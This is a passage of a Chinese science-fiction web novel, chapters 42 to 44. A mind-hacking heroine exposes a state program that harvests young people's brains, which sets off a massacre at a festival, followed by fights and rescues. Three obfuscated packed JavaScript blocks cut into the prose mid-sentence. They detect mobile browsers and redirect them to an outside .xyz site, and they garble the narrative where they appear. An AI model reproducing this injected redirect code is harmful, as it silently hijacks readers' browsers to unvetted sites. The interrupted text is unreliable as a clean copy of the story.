管理者的演讲已经开始收尾了。 林真的手被碰了一下,一个圆片被她手心的冷汗粘住。她假装咳了一声,身体前倾,用左手捂住嘴巴,药片入喉。可随即,她的腿一软,就要往前倒。 下一刻,彼得若有所觉,赶紧握住了她的右手。左边,敏秀被安恬撞了一下,也哆哆嗦嗦地握住了她的左手。 紧接着,安恬抓住了敏秀的左手。 如同一道波纹展开,所有“希望之星”有意无意地握住了彼此的手。 这一场景吸引了摄像机。 基蒂女士也惊讶地张开了嘴。 在队伍中间,林真终于站稳了身体。解药开始发挥效果,耳畔的声音逐渐变清晰,她听到管理者正说到最后一句: “让我们对我们今年的‘希望之星’,致以最热烈的掌声,和最诚挚的祝福!” 台下,人群欢呼。 台上,所有“希望之星”举起了交握的双手。 所有人都笑出声来。 林真看着管理者的后脑,也微笑起来。就差一件事了,然后一切都将圆满。 “Escape。” 她默念。 42. 希望之星(三) “Escape。”林真默念。 黑色的世界展开,为她揭开管理者的大脑。 她站在管理者的意识里,问道:“陆小舟?” 没有回应。这个名字对管理者没有意义,他可能只是看到过一眼,记忆已经被深深埋藏。 林真改变策略,重新问道:“两年前‘希望之星’的去向。” 一个红色的半透明对话框落入她手中,上头开始出现黑色的字迹: 陆小舟,试验品代号477,感知型,C级,四区中枢实验室,已签收。 李一一,试验品代号478,感知型,C级,三区仿生人工厂,已签收。 贾斯汀,试验品代号479,运动型,B级,四区生科实验室,已签收。 …… 林真一时间愣住了。 什么是试验品?在药厂做实验的时候,她的试验品有小白鼠,有雪貂,有猴子。可在什么情况下,一个人会被叫做试验品? 像是回应她的疑问一样,管理者威严的声音在脑子里响起:“什么狗屁‘希望之星’,不过是上层区搜刮脑子的列车,不如叫‘死亡之星’算了。” 随着他的话音落下,意识空间里,数十个对话框逐一亮起,显示出各个年份的名单。几百个名字后,全是“已签收”。 林真下意识后退了半步。 她想起手术台上的玛莎,想起那只剩一半的大脑,想起安恬、铁棍、桃子,还有地牢里的那些人。 联邦和黑街还有什么区别? “你们怎么敢?”她想。 她抬起手,无数条锁链飞入她的手里。 此刻,她就是最高管理者。她要说话,管理者就不能闭嘴。 本已致词完毕、准备退场的管理者突然停下了,他的嘴巴不由自主地张开。他想抬手去捂自己的嘴,可他的手也动不了了。他只能瞪大了眼睛,慌乱地转动眼珠。 广场上,那些愚蠢的、低等的人们,正好奇地、期待地望着他。 他听到自己说: “希望之星,不过是搜刮脑子的列车,不如叫死亡之星,你们这群愚蠢的底层人,还以为这是条通天大路呢。” 广场上的人们都僵住了。他们不敢相信自己的耳朵,互相看着,惶然询问: “……他在说什么?管理者大人在说什么? “我是不是听错了?假的吧?” “不可能!我哥就是去年的‘希望之星’……” 可管理者脸上没有一丝表情,机械地开始报每一年的名单和去向。 人群骚动起来。 一个中年女人推倒了高台前的隔离带,把手里的黑白红三色彩旗狠狠砸向高台:“那是我女儿!你们怎么能这么对她?” “骗子!”她大喊。 人群沸腾了。 “我哥也是两年前上的车!” “让他说清楚!” “说清楚!” 吼声翻涌成怒涛,愤怒的人们扯下手腕上的三色丝带,扔掉手里的旗帜,向高台冲去。 武装警卫们赶紧在高台下集结,防弹盾牌一面接一面落地,排成一堵墙。 “退后!退后!”警卫们举起了枪,指向愤怒的人群。 “滚开!滚开!”人群怒吼着扑上来。 诺曼单手架着盾牌,低下头,用头盔挡住了自己的表情。 在所有方式都找不到小舟的下落后,他真的没有怀疑吗?在十几年没有任何一个孩子回来后,真的没有人怀疑吗? 他想起那个早晨,他甚至没有来五月广场,只是远远地看着五月节的烟花,听着列车出发的鸣笛声。 他连最后一面,都没有留给自己的弟弟,自以为是地把对方送上“死亡列车”。 现在,他得到报应了。 他惨然一笑,突然放下手里的盾牌,后退一步。 人潮从他这个缺口开始,冲垮了警卫的盾墙。高台下,警卫和人群厮打起来,有人开始往高台上攀爬。 林真并没有看到这一切,她还在管理者的脑海里。从她控制管理者说出第一句话开始,一股巨大的压力就从天而降,将她锁定在原地。她听到一个遥远空灵的机械音在说: “五区,大脑农场最高管理者失控,立刻抹杀。” 代表管理者意识的星星闪烁得越来越快,然后瞬间膨胀炸开。 林真被炸出管理者的意识,一时间天旋地转,眼花耳鸣。 下一刻,在她的眼前,农场最高管理者的脑袋,炸开了。 摄像机忠实地将这一幕拍下,投到大屏幕上。 五月广场上,愤怒的人群还高举着拳头,最前头的人刚爬上高台。所有人都看到了这一幕,一齐呆住了。 广场陷入一片死寂。 基蒂女士的话筒掉在地上,发出一声巨大的噪音。 紧接着,不明所以的武装警卫对着人群齐齐举起了枪。 砰砰砰砰砰—— 子弹划破空气,尸体摔下高台。人群开始哀嚎,奔逃,推搡,踩踏。孩子的哭声淹没在尖叫中,还活着的人和尸体叠在一起。鲜血浸透地毯、鞋底、裙摆,还有联邦的三色旗帜。 而在这一切狂乱之上,广场周围,设定好时间的烟花冲天而起。 红色,金色,银色。 绚丽的色彩交织在一起,遮蔽了天空。 三色的亮片从空中纷纷扬扬落下。 五月节如约而至。 混乱奔逃的人潮中,药师像一块黑色的礁石。她仰头欣赏着烟火,闻着空气里的硝烟味和血腥味,笑起来: “你说的对,维斯佩拉……五月节的烟花,确实和血很配呢。” 她对身旁的人吩咐道:“动手吧,把N的脑子带给我和七爷。” 她的身旁,几个年轻男人突然扯开上衣,露出嵌满陶瓷甲片的上身。他们逆着人群而上,手里的匕首连连闪动,无声清理掉挡路的人。 高台之上,最高管理者的身体仰面倒下,空荡荡的脖子正对着林真,鲜血溅上她的腿。 她的嘴唇动了动,却什么也没能说出来。 一开始,她只是想知道陆小舟的下落。后来,她只是想让人们听见一句真话。 仅仅只是一句真话。 烟花在她头顶炸开,像是层层叠叠的嘲笑声,又像是无数厉声责问。 这就是你要的真相吗?你要为你的真相负责吗? 她抬起头,只见高台之下,满是血色。她往前走了一步,却发现自己的左手被死死拉住。 敏秀抓着她的手,跌坐在地上,拼命往后面缩。 “不、不行……别过去……”他眼睛发红,满脸泪水,神情极度恐惧。 林真用力抽了下手,没有抽动。 “安恬。”她轻声说。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16135451|176787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>安恬一把抓住敏秀的后领,把他从地上提溜起来。 “我们怎么做?”安恬问。 林真深吸一口气。既然“希望之心”是一个骗局,她该怎么做? 她掀起裙子,从腿侧抽出配枪,掏出唯一的子弹,上膛:“我们得走,现在就走!” 旁边,彼得尖叫起来:“不行,你们疯了吗?我要回宫殿!我要去找我爸!” “你没听到吗?那是’死亡之星’!” “胡说!假的!都是假的!”彼得疯狂摇头。 林真的枪口往管理者的尸体一指:“你说这是假的?” 她又往台下一指:“你说这些都是假的?” “他们疯了!”彼得吼道:“他们都疯了!我要上列车,我现在就要上列车!五区疯了!” 他们的头顶,农场的无人机群盘旋着,发出合成电子音:“所有’希望之星’,请迅速撤回农场,农场会保证你们的安全。” “你听!农场才是安全的!”彼得像是听到了确认,冲下台去。 他不是第一个。 片刻之后,台子上只剩下林真和安恬,还有被安恬拎在半空、哭得打嗝、用力蹬腿的敏秀。 “林真,安恬,敏秀,为了你们的安全,请迅速撤回农场。请不要违抗联邦的命令。”电子音又重复了一遍。为首的无人机降低了高度,枪口亮起红光。 林真上前一步,挡在安恬身前。 无人机的枪管瞄准了她的眉心。 嗖! 就在这时,一把雪刃长刀破空而来,狠狠扎入无人机的机身。 “兹啦”一声,无人机炸开火花,冒着黑烟砸在地毯上。 同时,林真听到诺曼大喊:“蹲下!” 她一把拉住安恬,扑倒在台子上。 下一秒,枪声大作。 无人机一台接一台被打中,在红毯上烧出一个又一个黑洞。 假扮成武装警卫的诺曼跃上台来。还没落地,他又一个点射,干掉了最后一台无人机。 另一侧,一个胡子扎拉、卷发凌乱的中年人也翻上高台。他拔出插在无人机上的长刀,拖着刀一步步走到安恬身前,伸手就要来掐敏秀的脖子。 安恬手里的刀片瞬间就甩了出去。 中年人随手一提长刀。 刀片“叮”的一声撞在长刀上。 中年人咧嘴一笑:“我在黑街的拳台上见过你们两个,身手不错啊,小丫头。” 林真赶紧拉住安恬:“谢谢您刚才出手相助。” “好说,好说,”中年男人拿刀柄挠了挠脖子,“我儿子该还我了吧?” 安恬的手里,敏秀打出一个哭嗝,小声喊了一句:“爸。” 中年男人一刀柄拍在敏秀额头上,“哭哭哭,连人家小姑娘都比不过!” 他嘴里骂骂咧咧,一边拎起敏秀后颈,像一只大狸花猫叼起自家小猫,大步往台下走。 没走出几步,他又停下了。 “对了,常七爷的狗来了,估计是找你们的。” 林真心头一凛,赶紧回头。 “诺曼——” 台子边缘,诺曼刚解下打空子弹的冲锋枪,扔在一旁。下一秒,一根带着倒钩的标枪破空而来,瞬间刺穿他的左肩。 标枪后的锁链瞬间绷紧。 诺曼一个字都没来得及说,就被猛地拽下高台! 43. 红黑白(一) 诺曼在空中强行翻身,从腰后拔出手枪,反手就要开火。 可对方有备而来。一发子弹划过他的手背,手枪脱手飞出。 诺曼蜷身落地,屈膝泄力,接着用左手一撑地面,迅速站起。 “袭击农场警卫,你有几个胆子?”他厉声喝问。 “警卫?”常七爷手下的武装打手“呸”了一声,嘲笑道:“N,魔术师早就把你的伪装发给我们了。都是黑街一路货色,装什么农场的狗呢?” 他说完,手里的机关启动,将锁链缓缓拉紧。 可诺曼抓住锁链,扛住了巨大的拉力,一点点向着不远处的手枪移动。 打手抬起枪口,威胁道:“七爷和药师可没说要完整的你。你再敢动一下,我就开枪了。” “你可以试试。”诺曼顶着打手的目光,又往右走了一步。 “砰!” 枪声响了。 诺曼脚步一顿,下意识摸了一下自己的胸口,却见对面的打手晃了一下,一头栽倒。 “你们两个跳舞呢?”高台上,林真收起手枪,对诺曼喊:“别摸了,你没死。快点上来!他们过来了!” 诺曼赶紧捡起自己的枪,一枪打断锁链的另一头,然后快跑几步,手臂用力一甩。 锁链腾空而起。 高台之上,安恬接住锁链,绕在腰上。锁链的另一端,诺曼顺势借力,脚尖点了几下,就回到高台上。他刚站稳,就迫不及待地转身,用枪口扫过广场上的人群。 林真拉下他的枪口,把他往台子里带了几步。 “瞄什么呢,胳膊不要啦,坐下。” “莫恕敢卖我的消息,别让我抓到他。”诺曼一边坐下,一边道。 林真帮他脱下半边外衣,用十字交叉的手法缠在肩膀上,紧紧固定住标枪:“也许这里有隐情。” “你帮他说话?”诺曼抬头,“莫恕那小子最怕死了,我早就知道他会背叛。” “我是说,你不能只听常老七的人的话……” 突然,几根锁链标枪接连射上高台。 林真拉起诺曼,迅速后退。 随着锁链一阵晃动,五个打手登上了高台。他们看到林真和安恬,顿时眼睛一亮。除了N,这里竟然还有十几万信用点! 他们有五个人,个个经验丰富,对面只有一个受伤的N和两个小丫头片子。这不是十拿九稳的事吗? 打手们交换了一个眼神,决定奖金平分。 他们从三个方向,向林真三人包围而来。 林真从诺曼手里接过枪。 诺曼握紧了锁链。 安恬的指缝里,三片薄刃反射着阳光。 高台上,似乎连风都停下了。 一片紧张里,安恬突然开口了:“就这五个吗?” 她的语气太平淡了。中间的打手一下子就不淡定了,手里的锁链标枪猛然向她射出。 几乎同时,诺曼右臂一甩,锁链旋转着飞出去,正好打在标枪的正中间。 明明只是一截软软的锁链,却把标枪直接撞偏出去。 在打手怔愣之间,林真的子弹已经洞穿了他的眉心。 诺曼收回锁链,冷笑道:“在我面前玩锁链?你们是不是忘了,我的老师是绿曼巴。” 话音未落,他手里的锁链再次射出,绞上另一个打手的脖子,用力一拉。 只听颈骨一声脆响,那个打手就跪下了。 五去其二,打手们的人数优势一下子就没有了。 剩下三名打手终于警惕起来。他们扔下手里的锁链标枪,转而拔出了匕首,分散开来。 林真后退两步,走到台子最里面,默念“Escape”。 三个打手的脑子都出现在她的视野里。 安恬迎上第一个打手,手里的刀片直接撞上对方的匕首。 刀片薄脆,骤然碎裂。 安恬变指为掌,一把捞过碎片,然后快速后退。打手欺身而上。这时,安恬的手一抖,碎片就直冲打手的面门飞去。 安恬和打手的一退一进之间,林真看到了机会。她的眼神一凝,瞬间入侵了打手的脑子。 打手正要偏头躲避,突然发现自己的身体失去了控制。他看着刀片在视野里越来越大,然后眼球处传来一阵剧痛。他什么都看不见了,捂着脸摔倒在红毯上。 林真离开他的脑子,把他留给安恬,接着举起枪,对准冲她而来的第二个打手,扣下扳机。 打手的金属关节嗡鸣着,用不可思议的速度躲开了子弹,然后右脚狠狠一踩,加速向林真扑来。 可林真神色不变。 “Escape。”她站在原地,再次念道。 见她不躲,打手的脸上露出残忍的笑容。只要再一步,他的匕首就能刺穿林真的喉咙。他一时有些犹豫,要不要先割开她的脸,让她发出悦耳的尖叫。 他准备好踩下最后一步了。 可林真也准备好了。 下一刻,打手的脸色变了。他惊恐地发现自己竟然一步踏错,偏离了原来的方向,向着林真的右侧撞去。他想要改变方向,可他的身体不听使唤。 他只能眼睁睁地看着自己和林真擦肩而过,然后狠狠撞上高台后的显示屏。 一个枪口顶上了他的后脑。 他听到那个祭品轻声道: “再见了。” 下一秒,一切意识都抛弃了他。 安恬走过来,看着打手的尸体,疑惑道:“这两个家伙的水平是不是有点差?常老七没有人了吗?” 林真微笑不语。 她给两个打手一人补了一枪,然后枪口一转。 “砰” 诺曼的对手也倒下了。 诺曼左手抡了几下,将锁链收起,缠在手臂上,笑骂道:“嘿,你怎么抢人头呢?” 林真捡起打手的匕首,眉头一扬:“那下次不帮你了,得了便宜还卖乖。” 诺曼举手投降,走过来,凑近林真的耳边小声道:“再开一次挂呗,看一下周围还有没有其他人,骇客小姐。” 林真揉了揉耳朵,瞪了诺曼一眼。 她正要走开,却看到诺曼的肩头一片鲜红。鲜血从衣服里渗出来,沿着锁链,流到他手臂上,留下一条条血印。 她突然意识到:诺曼已经没有力气侦查周围了,可这个人,又死犟着不肯说。 她叹了一口气,伸手托住诺曼的手臂:“靠着我吧。” 片刻后,她的手臂和肩头一沉。 诺曼的下巴贴着她的耳朵,低笑出声。 她动了动脑袋,集中精神,打开意识世界扫了一圈。 “附近没有其他打手了,我们可以撤了。”她说。 一旁,安恬突然开口:“桃子。” 林真一愣。 对啊,桃子!桃子呢? 她极目望去。然而,五月广场上哪里还有那穿着粉色长裙的身影? 广场上只有鲜血、尸体、和瑟瑟发抖的人们。也许是台子太高了,也许是血腥味太重了,林真感到一阵眩晕。 “给桃子打通讯!”她对安恬说。 过了一会儿,安恬摇头:“没人接。” 林真一咬牙,再次默念“Escape”,竭尽全力展开意识世界,向整个五月广场蔓延开去。 她第一次意识到五月广场那么大,容纳了那么多人。她在一个个脑子间跳跃,喊着桃子的名字。 一些光点在她跟前变灰,变成一扇扇打不开的门。她一头撞在门上,头昏脑胀地爬起来,接着飞向下一个光点。 当她再一次穿过一个微弱的光点时,一个女人的声音响起。 “救命……救救我……我不想死……”女人对她说。 林真的脚步停下了。 五月节的烟花放完了,烟尘遮蔽了天空。 在这片阴沉的天空下,她听到无数个脑子在喊:“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16140597|176787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不想死,谁来救救我!” 他们是手无寸铁的人,他们是最无辜的人,他们是最普通的母亲、父亲、儿子、女儿。他们早上充满希望地离开家门,并不是为了迎接这样的命运。可现在,他们正在一点点变成石头,再也发不出声音。 也许,桃子也已经变成了一个灰色的点,再也不会回应她的呼唤。 为什么?林真问自己。 就因为她想要那个虚无缥缈的正义吗? 难道站在高台之上,就能让她凌驾于众人之上了吗? 难道因为她有这样的能力,就能替他们做决定了吗? 她的正义轻而易举,而他们的正义自此长眠。 林真再也承受不住,退出意识世界,颤抖道: “诺曼,我杀了她。我杀了他们……” 诺曼赶紧抓住她的肩膀,“嘿,嘿,林真!” 可林真的眼神空洞,什么都听不见,只是一个劲儿问道:“为什么不是我?应该是我……” 诺曼脸色一沉,单手将她拽起来,拖到高台边缘。 风扑在林真脸上,她面对着哭嚎的五月广场。 意识链接中,诺曼的声音猛地炸开: “对,你活着,他们死了。林真,要么你现在跳下去,和他们作伴!要么,你就接着活下去!听到了吗?林真!” 他的声音一时间盖过了所有哭嚎。林真身体一颤,终于回过神来。 诺曼紧紧抱住她,声音低哑: “你要怎么选?你告诉我,林真,你要怎么选?我亲手把小舟送上了列车,你告诉我,我该怎么选……” 林真咬紧了嘴唇。 五分钟后,一辆红色的跑车一头撞进大脑农场的药店里,车头几乎顶上了中枢科技的柜台。 中枢科技的柜员举着双手贴墙站着,看着面前的一男两女挥舞着匕首,砸开一个个橱窗。 为首的那个女孩用一块布蒙着下半张脸。 她把所有治疗相关的针剂药剂一股脑儿搜出来,装进中枢科技专供VIP客户的大号医药包。 一台农场的无人机听见响动,飞过来。 柜员见到无人机,突然有了些勇气,哆哆嗦嗦开口:“钱,钱……钱还没付……” 女孩一言不发,抬手一枪打落无人机。 柜员迅速双手抱头蹲下:“谢谢……谢谢光临……” 林真叹了一口气,扯开脸上的布,指了指自己的脸: “看到了?‘希望之星’,让农场付。” 安恬也走过来,露出一张刚上过大屏幕的脸。 柜员瞪大了眼睛,下意识看向最后那个青年。那青年穿着警卫的衣服,刚从自己肩膀上徒手拔下一根标枪,就地做了简单包扎,一声都没吭。 诺曼抬起头,舔了舔自己的牙:“怎么,我不是“希望之星”,你很失望吗?” 他冷着脸又给自己扎了一针,然后甩出一个终端。 “自己刷。”他说。真好笑,打劫打到最后,只有他一个黑街诈骗犯付了钱。 远处,农场的大厅里,冲突还在继续。居民和警卫抢夺着武器。角落里,基蒂女士双手交握,在警卫的层层保护下,号啕大哭。 林真收回视线,一脚踩下油门。 红色跑车轰鸣着直冲五月广场。 林真第一个跳下车,用“Escape”扫了一圈,快速锁定急需救治的人:“安恬,那个给你,这个我来。还有那边那个,诺曼,你行不行?” “死不了。”诺曼回答。 他们一边给人扎保命针,一边穿过浓烟与尸体,寻找桃子的踪影。 枪伤,刺伤,割伤,但最多的还是踩踏和挤压造成的伤害。 那些被救的人抓住林真的手,对她说“谢谢”,甚至还有人挣扎着起身,想要亲吻她的指尖。 林真别开脸,抽回手,匆匆逃开。 她承受不起这些谢意,更不能把这些当作原谅。 44. 红黑白(二) 在另一堆尸体中,林真又找到一点微弱的光芒。 她和安恬合力搬开层层叠压的尸体,从底下抬出一个女人。 女人的脸色发青,指甲发紫,胸口毫无起伏。 这是窒息的症状。 林真跪在地上,托起女人的下巴,清理口腔里的血和呕吐物。然后,她俯身吹气,准备做胸外按压。 可双手刚放上去,她就是一愣。她摸到了塌陷的肋骨。断骨发出摩擦声,如同死神的镰刀划过地面。 她知道,女人需要立刻进行手术。可她没有器械,也没有能力,只有一双颤抖的、无用的手,沾满了别人的鲜血。她只能把治疗针剂一管一管打进去,祈祷它们能吊住女人的性命。 几分钟后,女人的胸口一颤,艰难地睁开眼睛。这可能是她一生中的最后几秒。 她似乎认出了林真的脸,虚弱地呢喃道:“你是……你是‘希望’……” 然后,女人的嘴角涌出血沫,头一歪,永远闭上了眼睛。 林真握紧女人的手,感受到手下的皮肤迅速变冷变僵硬。她似乎听到安恬在喊自己,下一个人还在等着她去救。 她木然地站起身,走了两步,突然跪下了。 鲜血凝固,就变成了黑色。 在黑色的五月广场上,她痛哭出声。 她的哭声淹没在四周成千上万的哭喊之中,而成千上万的哭声接受了她,温柔地包裹住了她。 安恬想要上前,却被诺曼一把拉住。 “让她哭吧。”诺曼低声说。 安恬的脸上还是没有表情,但是她似乎不高兴了。她打掉诺曼的手,走到下一个伤者的身旁,熟练地一针扎进对方的手臂。 “轻点,轻点!嗷!”伤者是一个年轻的男孩,左手骨折。他龇牙咧嘴地看着安恬给他打上夹板,“姐姐你这么好看,干嘛这么凶。嗷!对不起对不起,谢谢,谢谢,谢谢姐姐!我错了!” 安恬没有回答,只是安静地起身,径直走向下一个人。 那个男孩抱着夹板,撑起身子,冲她的背影喊:“姐姐!我给你们帮忙呀,姐姐!” 安恬停下脚步。 有什么在撞击她的胸口,她茫然地向四周看了看,似乎在寻找一个提示。 那是一个词。 在安全屋看到被救出来的孩子们时,她想对林真说的。在晚上耗子偷偷给她盖毯子的时候,她想说的。刚才在台上,桃子拥抱她的时候,她也想说的。 她看到耗子亮晶晶的眼睛,桃子悲伤的神情,他们期待她作出回应。 如同曾经那样。 如同曾经在收养院那样。 可她无能为力。一切情感都抛弃了她,那些熟悉的词语钻进她的皮肤,躲入她的身体,在骨髓里犯着痒。 身后的男孩还在喊:“我给你们帮忙呀,姐姐!” 安恬抬起手,按在自己的左胸口,那里传来模糊又迟缓的跳动。 有一个词,已经等待了太久了。 她张开嘴,可她还是什么都没能说出来。只是她的手下,心脏快速跳动起来。 半小时前,在混乱才露出一点苗头的时候,莫恕就拉着桃子躲入了人群。他是逃命的专家,知道什么时候应该离开。 他用右手按住不时剧痛的心口,用手肘顶开人群,逆着人潮往广场边缘走。他的黑礼帽被挤掉了,露出荧光红色的大脑。 “你的帽子!”桃子喊。 “不要了!” 莫恕把桃子带到广场外的停车场,“去居民区找个地方躲起来,等通讯!” 他说完这句话,一口血就喷了出来。黑红色的血撒在地面上,冒着不详的气泡。 桃子赶紧去扶他:“你怎么了?你不要动!我去找林真姐姐!” 莫恕嘶哑地笑起来:“等林真安恬都死了,等我们都死了,你要怎么办?” “你不要瞎说!” 莫恕从手腕上取下终端,塞进桃子手里:“钱都在里面,我是不养你们了。我就知道,养崽子的……都没好下场。” 说完,他拉开车门,坐进驾驶座里。 桃子也想上车,被他一把推开。 “不要跟着我。”莫恕冷漠道。 轿车轰鸣着冲出去。 桃子跌坐在地上,手肘擦破了皮,传来一阵疼痛。她死死盯着轿车的背影,把嘴唇咬出了血。 所有人都在离开她。从最开始,她的父母把她扔上“收养日”的列车,然后是玛莎、铁棍、安恬、林真,现在是莫恕。她战战兢兢地活着,低着头,乖乖的,忍受痛苦,绝不惹事,她想要讨好所有人,可他们一次次把她抛弃。 她感到一阵愤怒。如果你们全都撒手不管,她为什么要管那些弟弟妹妹?她为什么要在乎? 她愤怒又委屈,几乎要哭出来。 可随即,她听到了引擎声。 灰色轿车快速倒车而来,在她面前“嘎吱”一声停住。 莫恕摇下车窗,“我把你送回安全屋,你给我在里面藏好了。” 他的脸上都是抹开的血迹,牙缝里也都是血。可桃子觉得他是那么的亲切。 “莫恕,你不会死的吧?”她轻声问道。 “当然!老子永生不死!” 轿车将五月广场远远地甩在身后,向着黑街飞速驶去。 他们开上废弃的高架桥,黑街的边缘已经尽在咫尺了。可是桥的另一头,却停着一只黑色的车队。领头的轿车看到他们,突然启动,向着他们撞了上来。 莫恕猛打方向盘,车头擦着护栏撞了上去。轿车侧翻,滚了一圈才停下。 骑着摩托车的打手们围了上来。 莫恕又是一脚油门,接连撞开两辆摩托,掉头往来时的方向逃去。 可黑色的车队里突然射出一道钩索,穿透他们的后车窗,狠狠扎进了后座。 桃子连忙去解那个钩索。 “桃子!”莫恕将油门踩死,喊道:“我喊你跳的时候就跳,听见没有?跳了就跑,别回头!” “我不要!”桃子死死抓住他的手臂,惊觉手下的手臂冰冷,几乎像具尸体。 莫恕的耳朵和嘴角都流出血来,他勉强笑了一下:“桃子,快点长大吧,好不好?” 灰色轿车拖着钩索,急速逼近高架尽头。终于,钩索猛然绷紧,发出”铮”的一声。 莫恕狠狠踩下刹车。 “桃子,跳!” 桃子一咬牙,推开车门,闭着眼睛往外一跳。惯性让她继续往前滚了一段,浑身都在火辣辣的痛。 她顾不得身上的疼痛,赶紧爬起来往后看。 她看到灰色轿车的车尾被拉得腾空而起,后轮离地,像是一尾被钓起的鱼,擦着摩托车队的头顶,就要被拖回包围中。 “轰——轰——轰!” 包围圈里,摩托突然接连炸裂,火光冲天! “跑!”她听见莫恕的吼声。她再也不敢停留,拼了命地往高架下跑。 灰色轿车只腾空了一瞬,就重重落下,被打手们包围住。一名打手拉开车门,抓住莫恕的肩膀,就要往车外拖。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16150097|176787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让他坐着吧,别给我弄死了。”药师小步走过来。 莫恕抬起沾满血的眼皮,恶狠狠地瞪向药师:“你要N的伪装,我告诉你了!” 药师把玩着手里的针管,表情非常苦恼:“但那不够啊。我要的是抓到N。你出卖朋友的时候,难道不知道吗?我又不是为了特地去看一眼他。魔术师,这可不够换我一管解药的……要不这样吧?” 药师微微一笑,打开自己的终端,找到了一个通讯号码。 高架桥下,桃子跌跌撞撞地躲进一间废弃的房屋,锁上门,也颤抖地拨出了一个通讯号码。 五月广场上,林真的终端响了。蓝色半透明的屏幕在她左眼前亮起。 ——来电,喝茶的药师 她接起电话:“药师。” “林真,你们上次害得我好苦呀,七爷发现了,威胁要杀了我呢。”药师笑着说。 “抱歉。我当时必须要去救人,只能借用你的身份。” “我知道呀,你需要救人嘛,我原谅你啦。那你现在能不能帮我一个忙呀?帮我带一句话给N。就说,他的朋友在我这里呢。” 林真悚然而惊:“魔术师?” “嗯哼,没错。帮吗?” 安恬和诺曼已经走了过来。林真打开公放,继续问道:“桃子呢?” “和魔术师一起的小姑娘?她跑了哎。”药师遗憾地说,她把终端凑近莫恕的脸:“和你的朋友们打个招呼呗,魔术师。” 莫恕吐出一口血沫,一把抓住药师的手腕。 旁边的打手立刻拔出了枪。 药师抬手制止,示意莫恕说话。 莫恕的嘴唇和牙龈上都是血,突然露出一个决绝的笑容。 他说:“N,桃子安全了。我背叛了你。别来。” 说完,他一把拍断了通讯。 药师一巴掌甩在他的脸上,死死抠住他的腮帮:“他不来,你就别想拿到解药。还有那个女孩,她跑不远的。” 她招了招手,两辆摩托发动,要去追人。 “是吗?”莫恕突然笑了。 他的右手颤颤巍巍抬起,搁在方向盘上,打了一个响指。 刚开出去的两辆摩托车,突然一前一后炸开两团火花。一个骑手狼狈地跳下车,另一个骑手一头撞在护栏上,登时就晕了过去。 火光照亮莫恕苍白的脸。 他靠回座椅,嘶哑地笑起来:“你以为,我这魔术师,是白叫的吗?今天,你们一辆车都走不了。” 五月广场。 诺曼一言不发,转身坐进跑车的驾驶位,一脚踩下油门。 跑车在空档发出一声轰鸣。 “嘿,嘿,诺曼,冷静!”林真拉开车门。 诺曼抬起头,眼睛里带着不再压抑的怒火,嗓音冰冷:“林真,放手。” “不。我开车,你去副驾驶。我不能让你这样去。你是去救人,不是去送死。” “这是我的事。” 林真扶着车顶,贴近他的脸,盯着他的眼睛:“你再说一遍?” “莫恕背叛了我,这是我的事。”诺曼咬牙。 “莫恕也是我的朋友。” “林真,你不该回去的。” “那我要去哪里呢?把我的脑子也乖乖地送上‘希望之星’吗?” 诺曼的眼睛里闪过一丝痛色。 林真伸出左手,盖在诺曼的手上:“诺曼,你给我听好了。我要待在黑街,我要和你一起,待在黑街。” 诺曼低下头,握住方向盘的手渐渐松开了。